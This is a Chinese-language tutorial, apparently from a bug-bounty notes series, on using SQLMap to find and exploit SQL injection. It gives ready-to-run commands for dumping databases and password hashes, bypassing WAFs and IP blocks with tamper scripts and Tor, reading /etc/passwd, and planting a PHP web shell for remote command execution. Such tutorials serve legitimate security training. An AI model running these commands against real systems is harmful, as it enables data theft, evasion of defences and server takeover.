【Bug Bounty Hunter】第九章-SQLMap

img

【Bug Bounty Hunter】笔记系列

0x00 快速开始

1. SQLMap概览

SQLMap 是一款免费且开源的渗透测试工具,使用Python编写,自动化检测和利用SQL注入漏洞。SQLMap自2006年以来一直在不断开发,至今仍在维护。

1
d4rk30@linux$ python sqlmap.py -u 'http://inlanefreight.htb/page.php?id=5'

1.1 SQLMap支持的注入类型

  • B: Boolean-based blind(基于布尔值的盲注)
  • E: Error-based(基于错误的)
  • U: Union query-based(基于联合查询的)
  • S: Stacked queries(堆叠查询)
  • T: Time-based blind(基于时间的盲注)
  • Q: Inline queries(内联查询)

2. SQLMap入门

在开始使用SQLMap时,新用户通常会查看程序的帮助信息。为了帮助新用户,有两个级别的帮助信息列表:

  • 基本列表仅显示基本参数,在大多数情况下足够使用:-h
  • 高级列表显示所有参数:-hh
1
2
d4rk30@linux$ sqlmap -h
d4rk30@linux$ sqlmap -hh

2.1 基本使用

1
d4rk30@linux$ sqlmap -u "http://www.example.com/vuln.php?id=1" --batch

注意:在这种情况下,参数-u用于提供目标URL,而参数--batch用于跳过任何必需的用户输入,通过自动选择使用默认参数。

0x01 构建攻击

1. 运行SQLMap在HTTP请求上

1.1 cURL命令

在Chrome、Edge或Firefox开发者工具的网络面板中,利用Copy as cURL功能是正确设置针对特定目标(即带有参数的Web请求)的SQLMap请求的最佳且最简单的方法之一。

img

通过将剪贴板内容(Ctrl-V)粘贴到命令行中,并将原始命令curl更改为sqlmap

1
d4rk30@linux$ sqlmap 'http://www.example.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'DNT: 1'

在向SQLMap提供测试数据时,必须存在可以评估SQL注入漏洞的参数值,或者使用自动参数查找的专用参数参数(例如 --crawl--forms-g)。

1.2 GET/POST请求

在最常见的情况下,使用-u--url测试GET请求。使用--data,可以测试POST请求,如下所示:

1
d4rk30@linux$ sqlmap 'http://www.example.com/' --data 'uid=1&name=test'

在这种情况下,将对POST参数uidname进行SQL注入漏洞测试。如果有明确表明参数uid容易出现SQL注入漏洞,我们可以使用-p uid将测试范围缩小到该参数。除此之外,我们还可以在提供的数据中使用特殊标记*将其标记出来,如下所示:

1
d4rk30@linux$ sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'

1.3 完整的HTTP请求

如果我们需要指定一个复杂的HTTP请求,其中包含许多不同的Headers和一个内容丰富的POST正文,则可以使用-r参数,利用Burp可以把完整的请求内容复制下来,存储到一个文件中,例如文件名为:req.txt。

img

1
d4rk30@linux$ sqlmap -r req.txt

提示:与--data参数的情况类似,我们可以在保存的请求文件中使用星号*指定要注入的参数,例如/?id=*

1.4 自定义SQLMap请求

例如,如果需要将cookie值指定为 PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c,则使用参数--cookie

1
d4rk30@linux$ sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'

使用参数-H/--header可以实现相同的效果:

1
d4rk30@linux$ sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'

我们可以将同样的方法应用到参数,如--host--referer-A / --user-agent,它们用于指定相同的HTTP标头值。此外,还有一个参数--random-agent,旨在从包含的常规浏览器值数据库中随机选择一个User-agent的值。

此外,如果我们想要指定一个除了GET和POST之外的替代HTTP方法(例如PUT),我们可以使用参数--method,如下所示:

1
d4rk30@linux$ sqlmap -u www.target.com --data='id=1' --method PUT

1.5 自定义HTTP请求

除了最常见的表单数据POST请求体格式,SQLMap还支持JSON格式和XML格式的HTTP请求。

对于这些格式的支持是以“宽松”的方式实现的;因此,对参数值在内部存储的方式没有严格的限制。如果POST请求体相对简单且较短,参数–data就足够了。

然而,对于复杂或长的POST请求体,我们可以再次使用-r参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
d4rk30@linux$ cat req.txt
HTTP / HTTP/1.0
Host: www.example.com

{
"data": [{
"type": "articles",
"id": "1",
"attributes": {
"title": "Example JSON",
"body": "Just an example",
"created": "2020-05-22T14:56:29.000Z",
"updated": "2020-05-22T14:56:28.000Z"
},
"relationships": {
"author": {
"data": {"id": "42", "type": "user"}
}
}
}]
}

2. 攻击调整

SQLMap在检测阶段。发送到目标的每个有效的Payload由两部分组成:

  • 向量(vector ):有效的SQL代码的载体,是Payload的核心部分,将在目标处执行。
  • 边界(boundaries):前缀和后缀形式,用于将向量正确注入易受攻击的SQL语句中。

两者共同组成的最终测试的Payload。

2.1 前缀/后缀

在一些罕见情况下,SQLMap运行时需要特殊的前缀和后缀值,这些值不在正常情况下的覆盖范围内。对于这样的运行,可以使用参数--prefix--suffix,如下所示:

1
d4rk30@linux$ sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"

这会让测试的向量被封装在静态前缀%'))和后缀-- -之间。例如,如果目标中的易受攻击代码是:

1
2
$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "')) LIMIT 0,1";
$result = mysqli_query($link, $query);

测试的向量是UNION ALL SELECT 1,2,VERSION(),最终产生的SQL语句如下:

1
SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT 1,2,VERSION()-- -')) LIMIT 0,1

2.2 级别/风险

默认情况下,SQLMap结合了预定义的最常见边界(即前缀/后缀对)和在存在漏洞的目标情况下成功率较高的向量集。除此之外还可以使用已经包含在SQLMap中的更大的边界和向量集。

对于这样的要求,应该使用参数--level--risk

  • 参数--level(1-5,默认为1)扩展了使用的向量和边界。
  • 参数--risk(1-3,默认为1)根据它们在目标端引起问题的风险(即数据库条目丢失或拒绝服务的风险)扩展了使用的向量集。

为了检查不同level和risk值的使用边界和有效载荷之间的差异的最佳方法是使用-v参数设置详细程度(0-6,默认是1)。

1
d4rk30@linux$ sqlmap -u www.example.com/?id=1 -v 3 --level=5 --risk=3

0x02 数据库枚举

1. 数据库枚举

1.1 基本数据库数据枚举

通常,在成功检测到SQLi漏洞后,我们可以开始枚举数据库的基本细节,枚举通常从检索基本信息开始:

  • 数据库版本标语(参数:--banner
  • 当前用户名(参数:--current-user
  • 当前数据库名称(参数:--current-db
  • 检查当前用户是否拥有DBA(管理员)权限(参数:--is-dba
1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba

1.2 表格枚举

在大多数常见的情况下,找到当前数据库名称后,检索表名将使用--tables参数,并使用-D testdb指定数据库名称,如下所示:

1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --tables -D testdb

在找到感兴趣的表名后,可以使用--dump参数并使用-T users指定表名来检索其内容,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb

...SNIP...
Database: testdb

Table: users
[4 entries]
+----+--------+------------+
| id | name | surname |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+

[14:07:18] [INFO] table 'testdb.users' dumped to CSV file '/home/user/.local/share/sqlmap/output/www.example.com/dump/testdb/users.csv'

控制台输出显示表格以格式化的CSV格式转储到本地文件users.csv中。

img

1.3 表格/行枚举

当处理具有许多列或许多行的大型表格时,我们可以使用-C参数指定列,如下所示:

1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname

根据表格中的序号来缩小行的范围,我们可以使用--start--stop参数来指定行,如下所示:

1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3

1.4 条件枚举

如果需要根据已知的WHERE条件检索特定行,则可以使用--where参数,如下所示:

1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"

1.5 完整数据库枚举

我们可以通过完全跳过-T的使用(例如--dump -D testdb)来检索相关数据库中的所有表。还可以使用--dump-all,会检索所有数据库的所有内容,通常--dump-all会和--exclude-sysdbs一起使用,这会跳过系统默认库中的数据,这些数据对渗透测试人员没有太多作用。

2. 高级数据库枚举

2.1 数据库架构枚举

如果我们想检索所有表的结构,以便我们可以全面了解数据库体系结构,我们可以使用--schema

1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --schema

2.2 搜索数据

当处理具有大量表和列的复杂数据库结构时,我们可以使用--search搜索感兴趣的数据库、表和列。

1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --search -T user
1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --search -C pass

2.3 密码枚举与破解

当我们识别出包含密码的表,我们就可以使用-T检索该表,如前所示:

1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --dump -D master -T users

在前面的例子中我们可以看到,SQLMap具有自动密码哈希破解功能。在检索任何类似于已知哈希格式的值时,SQLMap会提示我们对找到的哈希值执行基于字典的攻击。

2.4 数据库用户密码枚举与破解

除了在数据库表中找到的用户登录信息外,我们还可以尝试dump包含特定于数据库的用户登录信息的系统表内容。为了简化整个过程,SQLMap提供了一个专门用于此类任务的特殊参数--passwords

1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --passwords --batch

0x03 SQLMAP高级用法

1. 绕过网络应用程序保护

1.1 Anti-CSRF Token绕过

SQLMap有一些参数可以帮助绕过CSRF保护。最重要的参数是--csrf-token。通过指定令牌参数名称(应该已经在提供的请求数据中可用),SQLMap将自动尝试解析目标响应内容并搜索新的令牌值,以便在下一个请求中使用它们。

此外,即使用户没有通过 –csrf-token 明确指定令牌的名称,如果提供的参数中包含任何常见的中缀(即 csrf、xsrf、token),用户将被提示是否在后续请求中更新它:

1
d4rk30@linux$ sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"

1.2 Unique Value绕过

在某些情况下,Web应用程序要求在某些参数内提供唯一值。这种机制与上述绕过CSRF技术类似,只是不需要解析网页内容。因此,只要确保每次请求的参数值都是唯一的,为此可使用参数--randomize,进行随机化的值的作为参数:

1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch

1.3 Calculated Parameter绕过

另一个类似的机制是,Web应用程序期望根据某参数值计算出正确的参数值。最常见的情况是,一个参数值必须包含另一个参数值的Hash(例如,h=MD5(id))。为了绕过这个问题,应该使用--eval,请求被发送到目标之前,会使用python代码进行处理:

1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch

1.4 IP地址隐藏

如果我们想要隐藏我们的IP地址,或者某个网络应用程序有保护机制,将我们当前的IP地址列入黑名单,我们可以尝试使用代理或匿名网络Tor。可以使用参数--proxy(例如–proxy=”socks4://177.39.187.70:33283”)设置代理,其中应添加一个有效的代理。

此外,如果我们有代理列表,我们可以使用参数--proxy-file将它们提供给SQLMap。这样,SQLMap将按顺序遍历列表,在出现任何问题(例如,IP地址被列入黑名单)的情况下,它将跳过当前的代理并继续下一个。

另一种选择是使用Tor网络,它提供了一种易于使用的匿名方式,我们的IP可以出现在Tor出口节点列表中的任何地方。在本地计算机上安装Tor后,本地端口9050或9150上应该有一个SOCKS4代理服务。通过使用--tor,SQLMap 会自动尝试查找本地端口并适当使用。

1.5 User-agent黑名单绕过

如果在运行SQLMap时出现立即问题(例如,从一开始就出现HTTP错误代码5XX),我们应该考虑的第一件事情之一是SQLMap使用的默认用户代理可能被列入黑名单,使用--random-agent可以轻松绕过此限制。

1.6 篡改脚本

最后,在SQLMap中实现的最受欢迎的绕过WAF/IPS解决方案的机制之一是所谓的“篡改”脚本。篡改脚本是一种特殊类型的脚本,用于在发送到目标之前修改请求,大多数情况下是为了绕过某些保护。

篡改脚本可以在--tamper中链接在一起,一个接一个地运行(例如 –tamper=between,randomcase)。

值得关注的篡改脚步如下:

Tamper-Script 描述
0eunion 用e0UNION代替UNION实例
base64encode 对给定有效载荷中的所有字符进行Base64编码
between 使用NOT BETWEEN 0 AND #替换>,使用BETWEEN # AND #替换=
commalesslimit 在MySQL实例中使用LIMIT N OFFSET M替换LIMIT M, N
equaltolike LIKE替换所有出现的=
halfversionedmorekeywords 在每个关键词前添加(MySQL)版本注释
modsecurityversioned 使用(MySQL)版本化注释进行完整查询
modsecurityzeroversioned 使用(MySQL)零版本注释进行完整查询
percentage 在每个字符前添加百分号%,(例如:SELECT -> %S%E%L%E%C%T)
plus2concat 用(MsSQL)对应函数CONCAT()代替加号运算符+
randomcase 用随机大小写值替换每个关键字字符(例如 SELECT -> SEleCt)
space2comment 用注释`/替换空格字符
space2dash 将空格字符替换为一个破折号注释(——),后面跟着一个随机字符串和一个新行(\n)
space2hash 将(MySQL)的空格字符()的实例替换为一个镑字符(#),后面跟着一个随机字符串和一个新行(\n
space2mssqlblank 用有效备用字符集中的随机空白字符替换(MsSQL)空格字符的实例
space2plus 用加号+)代替空格字符
space2randomblank 用有效备用字符集中的随机空白字符替换空格字符
symboliclogical 用符号对应运算符&&和
versionedkeywords 用(MySQL)版本注释括住每个非功能关键字
versionedmorekeywords 用(MySQL)版本注释括住每个关键词

1.7 其他绕过方式

除了上面的保护绕过机制之外,还有两个需要提到的。

第一个是使用--chunked开启的分块传输编码,它将POST请求的主体分成所谓的“块”。被列入黑名单的SQL关键字在块之间分割,以使包含它们的请求可以不被注意地通过。

另一个绕过机制是HTTP参数污染(HPP),其中有效载荷被分割成类似于–chunked的方式,位于不同相同参数名称的值之间(例如?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users…),如果目标平台支持,则由目标平台连接(例如ASP)。

2. 操作系统EXP

2.1 检查DBA权限

要检查我们是否具有SQLMap的DBA权限,我们可以使用以下--is-dba参数:

1
d4rk30@linux$ sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba

2.2 读取本地文件

SQLMap无需通过SQL手动注入,而是可以使用以下参数相对轻松地读取本地文件--file-read

1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"

2.3 写入本地文件

大多数DBMS默认情况下禁用文件写入,并且DBA需要某些权限才能写入文件。尽管如此,许多Web应用程序都需要DBMS能够将数据写入文件,因此值得测试我们是否可以将文件写入远程服务器。要使用SQLMap来做到这一点,我们可以使用--file-write--file-dest参数。首先,我们准备一个基本的PHP Web shell并将其写入shell.php文件中:

1
d4rk30@linux$ echo '<?php system($_GET["cmd"]); ?>' > shell.php

现在,让我们尝试在远程服务器的/var/www/html/目录中写入该文件。如果我们不知道服务器的webroot,我们会看到SQLMap会自动找到它。

1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"

现在,我们可以尝试访问远程PHP shell,并执行示例命令:

1
d4rk30@linux$ curl http://www.example.com/shell.php?cmd=ls+-la

2.4 操作系统命令执行

要获得SQLMap带有的操作系统shell,我们可以使用--os-shell,如下所示:

1
d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --os-shell

SQLMap默认使用UNION获取操作系统shell的技术,如果最终未能给我们任何输出。我们有多种类型的SQL注入漏洞,让我们尝试指定另一种更有可能为我们提供直接输出的技术,例如 ,机遇错误的注入,我们可以使用--technique=E来指定。

更完整的使用方法,可以参看SQLMap官方文档:https://github.com/sqlmapproject/sqlmap/wiki/Usage